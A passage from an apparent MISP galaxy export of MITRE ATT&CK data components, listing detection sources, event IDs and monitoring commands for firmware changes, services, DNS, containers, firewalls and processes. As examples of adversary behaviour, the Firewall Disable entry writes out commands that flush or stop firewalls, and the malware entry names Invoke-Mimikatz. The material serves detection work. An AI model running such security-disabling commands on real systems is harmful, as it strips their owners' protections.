- Changes to Master Boot Record (MBR): Modifying the MBR to load malicious code during the boot process.
- Changes to Volume Boot Record (VBR): Altering the VBR to redirect boot processes to malicious locations.
- Firmware Configuration Changes: Modifying BIOS/UEFI settings such as disabling Secure Boot.
- Firmware Image Tampering: Updating firmware with a malicious or unauthorized image.
- Logs or Errors Indicating Firmware Changes: Logs showing unauthorized firmware updates or checksum mismatches.

This data component can be collected through the following measures:

- BIOS/UEFI Logs: Enable and monitor BIOS/UEFI logs to capture settings changes or firmware updates.
- Firmware Integrity Monitoring: Use tools or firmware security features to detect changes to firmware components.
- Endpoint Detection and Response (EDR) Solutions: Many EDR platforms can detect abnormal firmware activity, such as changes to MBR/VBR or unauthorized firmware updates.
- File System Monitoring: Monitor changes to MBR/VBR-related files using tools like Sysmon or auditd.
- Windows Example (Sysmon): Monitor Event ID 7 (Raw disk access).
- Linux Example (auditd): `auditctl -w /dev/sda -p wa -k firmware_modification`
- Network Traffic Analysis: Capture firmware updates downloaded over the network, particularly from untrusted sources. Use network monitoring tools like Zeek or Wireshark to analyze firmware-related traffic.
- Secure Boot Logs: Collect and analyze Secure Boot logs for signs of tampering or unauthorized configurations. Example: Use PowerShell to retrieve Secure Boot settings on Windows: `Confirm-SecureBootUEFI`
- Vendor-Specific Firmware Tools: Many hardware vendors provide tools for firmware integrity checks.Examples:

- Intel Platform Firmware Resilience (PFR).
- Lenovo UEFI diagnostics.

The tag is: *misp-galaxy:mitre-data-component="Firmware Modification - DC0004"*

Table 9659. Table References

Links
https://attack.mitre.org/datacomponents/DC0004

Service Creation - DC0060

The registration of a new service or daemon on an operating system.

Data Collection Measures:

- Windows Event Logs
- Event ID 4697 - Captures the creation of a new Windows service.
- Event ID 7045 - Captures services installed by administrators or adversaries.
- Event ID 7034 - Could indicate malicious service modification or exploitation.
- Sysmon Logs
- Sysmon Event ID 1 - Process Creation (captures service executables).
- Sysmon Event ID 4 - Service state changes (detects service installation).
- Sysmon Event ID 13 - Registry modifications (captures service persistence changes).
- PowerShell Logging
- Monitor `New-Service` and `Set-Service` PowerShell cmdlets in Event ID 4104 (Script Block Logging).
- Linux/macOS Collection Methods
- AuditD & Syslog Daemon Logs (`/var/log/syslog`, `/var/log/messages`, `/var/log/daemon.log`)
- AuditD Rules:
- `auditctl -w /etc/systemd/system -p wa -k service_creation`
- Detects changes to `systemd` service configurations.
- Systemd Journals (`journalctl -u <service_name>`)
- Captures newly created systemd services.
- LaunchDaemons & LaunchAgents (macOS)
- Monitor `/Library/LaunchDaemons/` and `/Library/LaunchAgents/` for new plist files.

The tag is: *misp-galaxy:mitre-data-component="Service Creation - DC0060"*

Table 9660. Table References

Links

https://attack.mitre.org/datacomponents/DC0060

WMI Creation - DC0008

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or providers.

The tag is: *misp-galaxy:mitre-data-component="WMI Creation - DC0008"*

Table 9661. Table References

Links
https://attack.mitre.org/datacomponents/DC0008

Instance Start - DC0080

The initiation or activation of a virtual machine instance within a cloud infrastructure. This action typically involves starting an existing instance that had been stopped or paused, allowing it to resume operation. Examples:

- Google Cloud Platform (GCP): Starting an instance through `instance.start` API activity.
- AWS: Logging of `StartInstances` in AWS CloudTrail for EC2 instances.
- Azure: `Microsoft.Compute/virtualMachines/start` entries indicate a VM instance being started.

The tag is: *misp-galaxy:mitre-data-component="Instance Start - DC0080"*

Table 9662. Table References

Links
https://attack.mitre.org/datacomponents/DC0080

Malware Content - DC0011

Code, strings, signatures, and other identifying characteristics of a malicious payload stored within a malware repository. It includes both static (file-based) and dynamic (behavioral or execution-based) components that can be analyzed for threat intelligence, detection, and prevention purposes. Examples:

- Static Analysis:
- Executable Code: Analyze binary data to identify unique patterns, obfuscated code, or embedded resources.
- Strings Extraction: Use tools like strings or YARA rules to identify hardcoded URLs, IPs, filenames, or suspicious function calls.
- Signatures: Extract cryptographic hashes (MD5, SHA256) of files to track known malware variants or detect previously unseen samples.
- Dynamic Analysis:

- Behavioral Observations: Monitor execution traces to capture API calls, registry modifications, or network traffic patterns indicative of malicious behavior.
- Memory Analysis: Examine memory dumps to uncover injected code or runtime-decrypted payloads.
- Artifacts: Record file system changes, process creation events, and command-line arguments.
- Threat Intelligence Integration:
- Campaign Attribution: Associate observed code snippets or signatures with known APT campaigns or ransomware families.
- Indicator Sharing: Share identified Indicators of Compromise (IOCs) with threat intelligence platforms (e.g., MISP, OpenCTI).
- Examples of Malware Content:
- Embedded C2 domains (e.g., malicious-domain.com hardcoded in the payload).
- Fileless malware indicators, such as PowerShell scripts invoking Invoke-Mimikatz.
- Malware-specific signatures, such as unique PE header values for a particular strain.

Data Collection Measures:

- Collection from Public Malware Repositories:
- VirusTotal: Obtain samples for static analysis.
- Hybrid Analysis: Gather execution data from sandbox analysis.
- Any.Run: Access interactive malware execution traces.
- MalwareBazaar: Download malware samples for research and signature generation.
- Automate data extraction using repository APIs (e.g., VirusTotal API for hash lookups or sample retrieval).
- Internal Malware Labs:
- Sandbox Environments: Use dynamic malware analysis tools such as Cuckoo Sandbox or Joe Sandbox to execute and monitor malware in a controlled environment. Capture runtime behavior logs, memory dumps, and file system changes.
- Reverse Engineering: Disassemble binaries with tools like IDA Pro, Ghidra, or Radare2 to identify malicious functionality and extract code patterns.
- EDR/Endpoint Telemetry:
- Collect samples of malicious binaries or scripts from infected endpoints using tools like CrowdStrike, Carbon Black, or SentinelOne.
- Extract memory-resident payloads from live systems for analysis.
- Threat Intelligence Platforms:
- Gather contextual metadata for identified malware using tools like OpenCTI, Recorded Future, or ThreatConnect. Participate in intelligence-sharing groups such as ISACs (e.g., FS-ISAC, IT-ISAC).
- Custom Data Collection Pipelines: Use open-source tools like malwoverview or Maltrail to

automate sample downloads, hash extraction, and IOC generation.

The tag is: *misp-galaxy:mitre-data-component="Malware Content - DC0011"*

Table 9663. Table References

Links
https://attack.mitre.org/datacomponents/DC0011

Domain Registration - DC0101

"Domain Name: Domain Registration" data component captures information about the assignment, ownership, and metadata of domain names. This information is often sourced from registries like WHOIS and includes details such as registrant names, contact information, registration dates, expiration dates, and registrar details. This data is invaluable for tracking domain ownership, detecting malicious domain registrations, and identifying trends in adversary behavior. Examples:

- Registrant Information: WHOIS lookup of example.com
- Registration and Expiration Dates: A domain registered a week before being used in phishing attacks.
- Domain Status: Status codes like clientTransferProhibited or serverHold indicate domain restrictions or potential hijacking activity.
- Name Server Information: Name servers point to a public DNS provider often associated with malicious campaigns.
- Privacy Protection: A domain uses WHOIS privacy protection to hide registrant details.

This data component can be collected through the following measures:

- WHOIS Services: Use tools or services to perform WHOIS lookups:
- WHOIS APIs: Automate domain registration lookups with APIs:
- Registrar Platforms: Directly query domain registrars (e.g., GoDaddy, Namecheap) for detailed registration data.
- Threat Intelligence Platforms: Integrate domain registration data from services like Recorded Future, RiskIQ, or PassiveTotal for enriched analysis.

The tag is: *misp-galaxy:mitre-data-component="Domain Registration - DC0101"*

Table 9664. Table References

Links
https://attack.mitre.org/datacomponents/DC0101

Cluster Metadata - DC0120

Contextual data about a cluster and activity around it such as name, namespace, age, or status

The tag is: *misp-galaxy:mitre-data-component="Cluster Metadata - DC0120"*

Table 9665. Table References

Links
https://attack.mitre.org/datacomponents/DC0120

Active DNS - DC0103

"Domain Name: Active DNS" data component captures queried DNS registry data that highlights current domain-to-IP address resolutions. This data includes both direct queries to DNS servers and records that provide mappings between domain names and associated IP addresses. It serves as a critical resource for tracking active infrastructure and understanding the network footprint of an organization or adversary. Examples:

- DNS Query Example: `nslookup example.com`, `dig example.com A`
- PTR Record Example: `dig -x 192.168.1.1`
- Tracking Malicious Domains: DNS logs reveal repeated queries to suspicious domains like malicious-site.com. The IPs resolved by these domains may be indicators of compromise (IOCs).
- DNS Record Types
- A/AAAA Record: Maps domain names to IP addresses (IPv4/IPv6).
- CNAME Record: Canonical name records, often used for redirects.
- MX Record: Mail exchange records, used to route emails.
- TXT Record: Can include security information like SPF or DKIM policies.
- SOA Record: Start of authority record for domain management.
- NS Record: Lists authoritative name servers for the domain.

This data component can be collected through the following measures:

- System Utilities: Use built-in tools like `nslookup`, `dig`, or host on Linux, macOS, and Windows to perform active DNS queries.
- DNS Logging
- Windows DNS Server: Enable DNS Analytical Logging to capture DNS queries and responses.
- Bind DNS: Enable query logging in the named.conf file.
- Cloud Provider DNS Logging
- AWS Route 53: Enable query logging through CloudWatch or S3:
- Google Cloud DNS: Enable logging for Cloud DNS queries through Google Cloud Logging.
- Network Traffic Monitoring: Use tools like Wireshark or Zeek to analyze DNS queries within network traffic.
- Security Information and Event Management (SIEM) Integration: Aggregate DNS logs in a SIEM like Splunk to create alerts and monitor patterns.

- Public OSINT Tools: Use OSINT platforms like VirusTotal, or PassiveTotal to collect information on domains and their associated IP addresses.

The tag is: *misp-galaxy:mitre-data-component="Active DNS - DC0103"*

Table 9666. Table References

Links
https://attack.mitre.org/datacomponents/DC0103

Response Content - DC0104

Captured network traffic that provides details about responses received during an internet scan. This data includes both protocol header values (e.g., HTTP status codes, IP headers, or DNS response codes) and response body content (e.g., HTML, JSON, or raw data). Examples:

- HTTP Scan: A web server responds to a probe with an HTTP 200 status code and an HTML body indicating the default page is accessible.
- DNS Scan: A DNS server replies to a query with a resolved IP address for a domain, along with details like Time-To-Live (TTL) and authoritative information.
- TCP Banner Grab: A service listening on a port (e.g., SSH or FTP) responds with a banner containing service name, version, or other metadata.

The tag is: *misp-galaxy:mitre-data-component="Response Content - DC0104"*

Table 9667. Table References

Links
https://attack.mitre.org/datacomponents/DC0104

Service Metadata - DC0041

Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.

The tag is: *misp-galaxy:mitre-data-component="Service Metadata - DC0041"*

Table 9668. Table References

Links
https://attack.mitre.org/datacomponents/DC0041

Image Creation - DC0015

Initial construction of a virtual machine image within a cloud environment. Virtual machine images are templates containing an operating system and installed applications, which can be deployed to create new virtual machines. Monitoring the creation of these images is important because adversaries may create custom images to include malicious software or misconfigurations

for later exploitation. Examples:

- Azure Compute Service Image Creation
- Example: Creating a virtual machine image in Azure using Azure CLI: `az image create --resource-group MyResourceGroup --name MyImage --source MyVM`
- AWS EC2 AMI (Amazon Machine Image) Creation
- Example: Creating an AMI from an EC2 instance: `aws ec2 create-image --instance-id i-1234567890abcdef0 --name "MyAMI" --description "An AMI for my app"`
- Google Cloud Compute Engine Image Creation
- Example: Creating a custom image using gcloud: `gcloud compute images create my-custom-image --source-disk my-disk --source-disk-zone us-central1-a`
- VMware vSphere
- Example: Exporting a VM to create an OVF (Open Virtualization Format) template: This could later be imported into other environments with potential tampering.

The tag is: *misp-galaxy:mitre-data-component="Image Creation - DC0015"*

Table 9669. Table References

Links
https://attack.mitre.org/datacomponents/DC0015

Group Metadata - DC0105

Group metadata includes attributes like name, permissions, purpose, and associated user accounts or roles, which adversaries may exploit for privilege escalation. Examples:

- Active Directory: `Get-ADGroup -Identity "Domain Admins" -Properties Members, Description`
- Azure AD: `Get-AzureADGroup -ObjectId <GroupId>`
- Google Workspace: <code>GET <a href="https://admin.googleapis.com/admin/directory/v1/groups/<groupKey>" class="bare">https://admin.googleapis.com/admin/directory/v1/groups/<groupKey>;</code>
- AWS IAM: `aws iam list-group-policies --group-name <group_name>`
- Office 365: <code>GET <a href="https://graph.microsoft.com/v1.0/groups/<id>" class="bare">https://graph.microsoft.com/v1.0/groups/<id>;</code>

Data Collection Measures:

- Cloud Logging:
- AWS CloudTrail for IAM group-related activities.
- Azure AD Sign-In/Audit logs for metadata changes.
- Google Admin Activity logs for API calls.

- Directory Logging: Log metadata access (e.g., Windows Event ID 4662).
- API Monitoring: Log API calls to modify group metadata (e.g., Microsoft Graph API).
- SIEM Integration: Centralize group metadata logs for analysis.

The tag is: *misp-galaxy:mitre-data-component="Group Metadata - DC0105"*

Table 9670. Table References

Links
https://attack.mitre.org/datacomponents/DC0105

File Modification - DC0061

Changes made to a file, including updates to its contents, metadata, access permissions, or attributes. These modifications may indicate legitimate activity (e.g., software updates) or unauthorized changes (e.g., tampering, ransomware, or adversarial modifications). Examples:

- Content Modifications: Changes to the content of a configuration file, such as modifying `/etc/ssh/sshd_config` on Linux or `C:\Windows\System32\drivers\etc\hosts` on Windows.
- Permission Changes: Altering file permissions to allow broader access, such as changing a file from `644` to `777` on Linux or modifying NTFS permissions on Windows.
- Attribute Modifications: Changing a file's attributes to hidden, read-only, or system on Windows.
- Timestamp Manipulation: Adjusting a file's creation or modification timestamp using tools like `touch` in Linux or timestomping tools on Windows.
- Software or System File Changes: Modifying system files such as `boot.ini`, kernel modules, or application binaries.

The tag is: *misp-galaxy:mitre-data-component="File Modification - DC0061"*

Table 9671. Table References

Links
https://attack.mitre.org/datacomponents/DC0061

Module Load - DC0016

When a process or program dynamically attaches a shared library, module, or plugin into its memory space. This action is typically performed to extend the functionality of an application, access shared system resources, or interact with kernel-mode components.

The tag is: *misp-galaxy:mitre-data-component="Module Load - DC0016"*

Table 9672. Table References

Links

https://attack.mitre.org/datacomponents/DC0016

Response Metadata - DC0106

Contextual information about an Internet-facing resource collected during a scan, including details such as open ports, running services, protocols, and versions. This metadata is typically derived from interpreting scan results and helps build a profile of the targeted system. Examples:

- Port and Service Details:
- Open ports (e.g., 22, 80, 443).
- Identified services running on those ports (e.g., SSH, HTTP, HTTPS).
- Service Versions: Detected software version information (e.g., Apache 2.4.41, OpenSSH 8.2).
- Operating System Information: OS fingerprinting data (e.g., Linux Kernel 5.4.0).
- TLS/SSL Certificate Data: Information about the TLS/SSL certificate, such as the expiration date, issuer, and cipher suites.

Data Collection Measures:

- Scanning Tools:
- Nmap: Collects port, service, and version information using commands like nmap -sV <IP>.
- Masscan: High-speed scanning tool for discovering open ports and active services.
- Zmap: Focused on large-scale Internet scanning, collecting metadata about discovered services.
- Shodan API: Retrieves scan metadata for publicly exposed devices and services.
- Network Logs:
- Use logs from firewalls, intrusion detection systems (IDS), or intrusion prevention systems (IPS) to gather metadata from scan attempts. Example: Zeek or Suricata logs for incoming scan traffic.
- OSINT Platforms: Platforms like Censys, GreyNoise, or Shodan provide aggregated metadata about Internet-facing resources.
- Cloud Metadata Services: AWS Security Hub, Azure Monitor, or GCP Security Command Center can collect and centralize scan-related metadata for Internet-facing resources in cloud environments.

The tag is: *misp-galaxy:mitre-data-component="Response Metadata - DC0106"*

Table 9673. Table References

Links
https://attack.mitre.org/datacomponents/DC0106

Instance Deletion - DC0081

Removal of a virtual machine (VM) or compute instance within a cloud infrastructure. This activity

results in the termination and deletion of the allocated resources (e.g., CPU, memory, storage), making the instance unavailable for future use. Examples:

- AWS: instance deletion involves the `TerminateInstances` API call, which is recorded in CloudTrail logs.
- Azure: VM deletion can be monitored via Azure Activity Logs, showing the `Microsoft.Compute/virtualMachines/delete` operation.
- GCP: instance deletion is logged as an instance.delete operation within GCP Audit Logs.

The tag is: *misp-galaxy:mitre-data-component="Instance Deletion - DC0081"*

Table 9674. Table References

Links
https://attack.mitre.org/datacomponents/DC0081

Host Status - DC0018

Logging, messaging, and other artifacts that highlight the health and operational state of host-based security sensors, such as Endpoint Detection and Response (EDR) agents, antivirus software, logging services, and system monitoring tools. Monitoring sensor health is essential for detecting misconfigurations, sensor failures, tampering, or deliberate security control evasion by adversaries.

Data Collection Measures:

- Windows Event Logs:
- Event ID 1074 (System Shutdown): Detects unexpected system reboots/shutdowns.
- Event ID 6006 (Event Log Stopped): Logs when Windows event logging is stopped.
- Event ID 16 (Sysmon): Detects configuration state changes that may indicate log tampering.
- Event ID 12 (Windows Defender Status Change) – Detects changes in Windows Defender state.
- Linux/macOS Monitoring:
- `/var/log/syslog`, `/var/log/auth.log`, `/var/log/kern.log`
- Journald (journalctl) for kernel and system alerts.
- Endpoint Detection and Response (EDR) Tools:
- Monitor agent health status, detect sensor tampering, and alert on missing telemetry.
- Mobile Threat Intelligence Logs:
- Samsung Knox, SafetyNet, iOS Secure Enclave provide sensor health status for mobile endpoints.

The tag is: *misp-galaxy:mitre-data-component="Host Status - DC0018"*

Table 9675. Table References

Links

https://attack.mitre.org/datacomponents/DC0018

Container Enumeration - DC0091

"Container Enumeration" data component captures events and actions related to listing and identifying active or available containers within a containerized environment. This includes information about running, stopped, or configured containers, such as their names, IDs, statuses, or associated images. Monitoring this activity is crucial for detecting unauthorized discovery or reconnaissance efforts. Examples:

- Docker Example: `docker ps`, `docker ps -a`
- Kubernetes Example: `kubectl get pods`, `kubectl get deployments`
- Cloud Container Services Example
- AWS ECS: API Call: ListTasks or ListContainers
- Azure Kubernetes Service: API Call: List pod or container instances.
- Google Kubernetes Engine (GKE): API Call: Retrieve deployments and their associated containers.

The tag is: *misp-galaxy:mitre-data-component="Container Enumeration - DC0091"*

Table 9676. Table References

Links
https://attack.mitre.org/datacomponents/DC0091

Pod Creation - DC0019

The initial deployment or instantiation of a new pod in a containerized environment. This includes creating a pod manually, through orchestration tools (Kubernetes), or via Infrastructure-as-Code (IaC) configurations. A Pod is the smallest deployable unit in Kubernetes, typically containing one or more containers. Creation methods include: - Direct pod deployment (`kubectl run`, `kubectl apply`) - Automated deployment via CI/CD pipelines (e.g., ArgoCD, Jenkins, GitOps) - Infrastructure-as-Code (IaC) templates (e.g., Terraform, Helm Charts) - API-based deployments via Kubernetes control plane (create_pod API calls) - Pods can be ephemeral (short-lived) or persistent (part of a StatefulSet or Deployment).

Data Collection Measures:

- Kubernetes Audit Logs
- Captures all API requests, including pod `create` events.
- Kube-api server Logs
- Monitors API calls related to pod deployments and modifications. Related Events: `PodSandboxChanged`, `SyncLoop`, `Created pod`
- Container Runtime Logs

- Logs from CRI-O, containerd, or Docker capture pod creation events. Related Events: `container start`, `container create`
- Cloud Provider Logs
- GKE, EKS, AKS logs provide insights into Kubernetes API interactions.
- SIEM & Log Aggregation
- Integrates Kubernetes logs into SIEM solutions.
- EDR/XDR Solutions
- Monitors container-based activity for anomalous pod creations.

The tag is: *misp-galaxy:mitre-data-component="Pod Creation - DC0019"*

Table 9677. Table References

Links
https://attack.mitre.org/datacomponents/DC0019

Process Creation - DC0032

Refers to the event in which a new process (executable) is initialized by an operating system. This can involve parent-child process relationships, process arguments, and environmental variables. Monitoring process creation is crucial for detecting malicious behaviors, such as execution of unauthorized binaries, scripting abuse, or privilege escalation attempts..

The tag is: *misp-galaxy:mitre-data-component="Process Creation - DC0032"*

Table 9678. Table References

Links
https://attack.mitre.org/datacomponents/DC0032

Drive Creation - DC0042

The activity of assigning a new drive letter or creating a mount point for a data storage device, such as a USB, network share, or external hard drive, enabling access to its content on a host system. Examples:

- USB Drive Insertion: A USB drive is plugged in and automatically assigned the letter `E:\` on a Windows machine.
- Network Drive Mapping: A network share `\\server\share` is mapped to the drive `Z:\`.
- Virtual Drive Creation: A virtual disk is mounted on `/mnt/virtualdrive` using an ISO image or a virtual hard disk (VHD).
- Cloud Storage Mounting: Google Drive is mounted as `G:\` on a Windows machine using a cloud sync tool.
- External Storage Integration: An external HDD or SSD is connected and assigned `/mnt/external`

on a Linux system..

The tag is: *misp-galaxy:mitre-data-component="Drive Creation - DC0042"*

Table 9679. Table References

Links
https://attack.mitre.org/datacomponents/DC0042

Social Media - DC0052

Established, compromised, or otherwise acquired by adversaries to conduct reconnaissance, influence operations, social engineering, or other cyber threats.

Data Collection Measures:

- API Monitoring
- Social media APIs (e.g., Twitter API, Facebook Graph API) can extract behavioral patterns of accounts.
- Web Scraping
- Extracts public profile data, friend lists, or interactions to identify impersonation attempts.
- Threat Intelligence Feeds
- External feeds track malicious personas linked to disinformation campaigns or phishing.
- OSINT Tools
- Maltego, SpiderFoot, and OpenCTI can map social media persona relationships.
- Endpoint Detection
- EDR logs user behavior and alerts on suspicious social media interactions.
- SIEM Logging
- Detects access to known phishing pages or social media abuse via proxy logs.
- Dark Web Monitoring
- Identifies compromised social media credentials being sold.

The tag is: *misp-galaxy:mitre-data-component="Social Media - DC0052"*

Table 9680. Table References

Links
https://attack.mitre.org/datacomponents/DC0052

Image Deletion - DC0026

Removal of a virtual machine image in a cloud infrastructure (ex: Azure Compute Service Images DELETE) Examples:

- Azure Compute Service Image Deletion
- Example: Deleting a virtual machine image using Azure CLI: `az image delete --name MyImage --resource-group MyResourceGroup`
- AWS EC2 AMI (Amazon Machine Image) Deletion
- Example: Deregistering an AMI in AWS: `aws ec2 deregister-image --image-id ami-1234567890abcdef0`
- Google Cloud Compute Engine Image Deletion
- Example: Deleting a custom image in Google Cloud: `gcloud compute images delete my-custom-image`
- VMware vSphere
- Example: Deleting a VM image/template from a vSphere environment:

This data component can be collected through the following measures:

Enable Cloud Platform Logging

- Azure: Enable "Activity Logs" to capture DELETE requests to `Microsoft.Compute/images`.
- AWS: Use AWS CloudTrail to monitor `DeregisterImage` or `DeleteSnapshot` API calls.
- Google Cloud: Enable "Cloud Audit Logs" to track image deletion events under `compute.googleapis.com/images`.

API Monitoring

- Monitor API activity to track the deletion of images using:
- AWS SDK/CLI `DeregisterImage` or `DeleteSnapshot`.
- Azure REST API DELETE operations for images.
- Google Cloud Compute Engine APIs for image deletion.

Cloud SIEM Integration

- Ingest logs into a centralized SIEM platform for monitoring and alerting:

Event Correlation

- Correlate image deletion events with unusual account activity or concurrent unauthorized operations.

The tag is: *misp-galaxy:mitre-data-component="Image Deletion - DC0026"*

Table 9681. Table References

Links
https://attack.mitre.org/datacomponents/DC0026

Snapshot Metadata - DC0062

Contextual data about a snapshot, which may include information such as ID, type, and status

The tag is: *misp-galaxy:mitre-data-component="Snapshot Metadata - DC0062"*

Table 9682. Table References

Links
https://attack.mitre.org/datacomponents/DC0062

Container Creation - DC0072

"Container Creation" data component captures details about the initial construction of a container in a containerized environment. This includes events where a new container is instantiated, such as through Docker, Kubernetes, or other container orchestration platforms. Monitoring these events helps detect unauthorized or potentially malicious container creation. Examples:

- Docker Example: `docker create my-container`, `docker run --name=my-container nginx:latest`
- Kubernetes Example: `kubectl run my-pod --image=nginx`, `kubectl create deployment my-deployment --image=nginx`
- Cloud Container Services Example
- AWS ECS: Task or service creation (`RunTask` or `CreateService`).
- Azure Container Instances: Deployment of a container group.
- Google Kubernetes Engine (GKE): Creation of new pods via GCP APIs.

The tag is: *misp-galaxy:mitre-data-component="Container Creation - DC0072"*

Table 9683. Table References

Links
https://attack.mitre.org/datacomponents/DC0072

Image Metadata - DC0028

contextual information associated with a virtual machine image, such as its name, resource group, status (active or inactive), type (custom or prebuilt), size, creation date, and permissions. This metadata is critical for understanding the state and configuration of virtual machine images in cloud environments. Examples:

- Azure Compute Service Image Metadata Example:
- Name: MyCustomImage
- Resource Group: MyResourceGroup
- State: Available
- Type: Managed Image

- AWS EC2 AMI Metadata Example:
- Image ID: ami-1234567890abcdef0
- Name: ProdImage
- State: Available
- Platform: Windows
- Google Cloud Compute Engine Image Metadata Example:
- Image Name: webserver-image
- Project: my-project-id
- Family: webserver
- Source Disk: my-disk-id
- VMware vSphere Template Metadata Example:
- Name: LinuxTemplate
- Disk Size: 40GB
- Network Adapter: VM Network

The tag is: *misp-galaxy:mitre-data-component="Image Metadata - DC0028"*

Table 9684. Table References

Links
https://attack.mitre.org/datacomponents/DC0028

Script Execution - DC0029

The execution of a text file that contains code via the interpreter.

The tag is: *misp-galaxy:mitre-data-component="Script Execution - DC0029"*

Table 9685. Table References

Links
https://attack.mitre.org/datacomponents/DC0029

Volume Modification - DC0092

Changes made to a cloud volume, including its settings and control data (ex: AWS modify-volume)

The tag is: *misp-galaxy:mitre-data-component="Volume Modification - DC0092"*

Table 9686. Table References

Links
https://attack.mitre.org/datacomponents/DC0092

Process Termination - DC0033

The exit or termination of a running process on a system. This can occur due to normal operations, user-initiated commands, or malicious actions such as process termination by malware to disable security controls.

The tag is: *misp-galaxy:mitre-data-component="Process Termination - DC0033"*

Table 9687. Table References

Links
https://attack.mitre.org/datacomponents/DC0033

Firewall Disable - DC0043

The deactivation, misconfiguration, or complete stoppage of firewall services, either on a host or in a cloud control plane. Such activity may involve turning off firewalls, modifying rules to disable protection, or deleting firewall-related configurations and activity logs. Examples:

- Disabling Host-Based Firewalls: Stopping the Windows Defender Firewall service or using `iptables -F` to flush all rules on a Linux system.
- Cloud Firewall Modification or Deactivation: Modifying or deleting security group rules in AWS or disabling a network firewall in Azure.
- Activity Log Deletion: Writing or deleting entries in Azure Firewall Activity Logs to hide unauthorized firewall changes.
- Temporary Disable for Malicious Operations: Temporarily disabling a firewall to allow malicious files or traffic, then re-enabling it to avoid detection.
- Using Command-Line Tools to Stop Firewalls: Running commands like `Set-NetFirewallProfile -Enabled False on Windows or systemctl stop ufw` on Linux.

This data component can be collected through the following measures:

Cloud Control Plane

- Azure Activity Logs:
- Enable logging of administrative actions, such as stopping or modifying Azure Firewall configurations.
- Use Azure Monitor to track specific firewall-related actions, including disabling or rule deletion.
- AWS CloudTrail Logs:
- Monitor `RevokeSecurityGroupIngress` or `RevokeSecurityGroupEgress` events to detect rule changes in AWS Security Groups.
- Google Cloud Platform Logs:
- Collect logs from the Firewall Rules resource in Google Cloud Operations Suite to detect rule deletions or modifications.

Host-Level Firewalls

- Windows Firewall Event Logs:
- Enable logging of firewall state changes:
- Security Event ID 2004: Firewall service stopped.
- Security Event ID 2005: Firewall service started.
- Use Sysmon for process creation events tied to firewall commands or scripts (Sysmon Event ID 1).
- Linux Firewall Logs: Use auditd to track commands like iptables, firewalld, or ufw: `auditctl -a always,exit -F arch=b64 -S execve -k firewall_disable`
- macOS Firewall: Monitor changes to the macOS Application Firewall using the log show command.

Network-Level Monitoring

- IDS/IPS Alerts: Deploy IDS/IPS systems to monitor abnormal traffic flows that could indicate firewall disablement.
- NetFlow Data: Analyze NetFlow or packet capture data for traffic patterns inconsistent with firewall enforcement.

SIEM and CSPM Tools

- SIEM Integration: Use tools like Splunk or QRadar to centralize and analyze firewall disablement events from both hosts and cloud platforms.
- Cloud Security Posture Management (CSPM): Use CSPM solutions to monitor misconfigurations and track deactivation of critical cloud services like firewalls.

The tag is: *misp-galaxy:mitre-data-component="Firewall Disable - DC0043"*

Table 9688. Table References

Links
https://attack.mitre.org/datacomponents/DC0043

Process Metadata - DC0034

Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.

The tag is: *misp-galaxy:mitre-data-component="Process Metadata - DC0034"*

Table 9689. Table References

Links
https://attack.mitre.org/datacomponents/DC0034

Process Access - DC0035

Refers to an event where one process attempts to open another process, typically to inspect or manipulate its memory, access handles, or modify execution flow. Monitoring these access attempts can provide valuable insight into both benign and malicious behaviors, such as debugging, inter-process communication (IPC), or process injection.

Data Collection Measures:

- Endpoint Detection and Response (EDR) Tools:
- EDR solutions that provide telemetry on inter-process access and memory manipulation.
- Sysmon (Windows):
- Event ID 10: Captures process access attempts, including:
- Source process (initiator)
- Target process (victim)
- Access rights requested
- Process ID correlation
- Windows Event Logs:
- Event ID 4656 (Audit Handle to an Object): Logs access attempts to system objects.
- Event ID 4690 (Attempted Process Modification): Can help identify unauthorized process changes.
- Linux/macOS Monitoring:
- AuditD: Monitors process access through syscall tracing (e.g., `ptrace`, `open`, `read`, `write`).
- eBPF/XDP: Used for low-level monitoring of kernel process access.
- OSQuery: Query process access behavior via structured SQL-like logging.
- Procmon (Process Monitor) and Debugging Tools:
- Windows Procmon: Captures real-time process interactions.
- Linux strace / ptrace: Useful for tracking process behavior at the system call level.

The tag is: *misp-galaxy:mitre-data-component="Process Access - DC0035"*

Table 9690. Table References

Links
https://attack.mitre.org/datacomponents/DC0035

Firewall Metadata - DC0053

Contextual information about firewalls, including their configurations, policies, status, and other details such as names and associated rules. This metadata provides valuable insights into the operational state and configurations of firewalls, both in cloud control planes and host systems. Examples:

- Firewall Name and Configuration: The name, type, and purpose of a firewall such as "Azure Firewall - Production Environment."
- Policy Details: Capturing firewall policy details, such as "Allow inbound TCP 443 to web servers."
- Firewall Status: Status indicators like "Active," "Disabled," or "Pending Updates."
- Audit Log Metadata: Log entries showing administrative changes, such as "Policy modified by admin@domain.com."
- Rules Associated with Firewalls: Rules specifying source/destination IP ranges, protocols, and ports.
- Tagging Information: Tags like "Environment: Production" or "Owner: NetworkOps."

This data component can be collected through the following measures:

Cloud Control Plane

- Azure: Use Azure Activity Logs and Network Watcher to collect metadata for Azure Firewall.
- Example: `az network firewall show --name <firewall-name>`
- AWS: Use AWS CloudTrail and describe commands: `aws ec2 describe-security-groups`
- Google Cloud: Use gcloud commands to extract metadata: `gcloud compute firewall-rules list --format=json`

Host-Based Firewalls

- Windows: Use PowerShell to gather metadata: `Get-NetFirewallRule -PolicyStore PersistentStore`
- Linux: Query iptables or nftables rulesets: `iptables -S`
- macOS: Use pfctl to extract metadata: `sudo pfctl -sr`

SIEM Integration

- Collect logs from cloud platforms, host systems, and network appliances.

API Monitoring

- Monitor API calls for metadata requests. Example (AWS): `Capture DescribeSecurityGroups or DescribeNetworkAcls` calls via CloudTrail.

Endpoint Detection and Response (EDR)

- Use EDR solutions to monitor firewall management tools for configuration changes or queries.

The tag is: *misp-galaxy:mitre-data-component="Firewall Metadata - DC0053"*

Table 9691. Table References

Links
https://attack.mitre.org/datacomponents/DC0053

Image Modification - DC0036

Changes made to a virtual machine image, including setting and/or control data (ex: Azure Compute Service Images PATCH)

The tag is: *misp-galaxy:mitre-data-component="Image Modification - DC0036"*

Table 9692. Table References

Links
https://attack.mitre.org/datacomponents/DC0036

Pod Enumeration - DC0037

Extracting a list of running or existing pods within a containerized cluster environment. Pods are the smallest deployable units in a Kubernetes cluster and typically represent an application or workload. Enumeration of pods provides insight into the structure and state of applications running in the cluster, such as the names of pods, their namespaces, and their associated metadata.

Data Collection Measures:

- Kubernetes API Server Audit Logs:
- Enable Audit Logging in Kubernetes to capture API requests, such as GET `/api/v1/pods`.
- Container Runtime Logs:
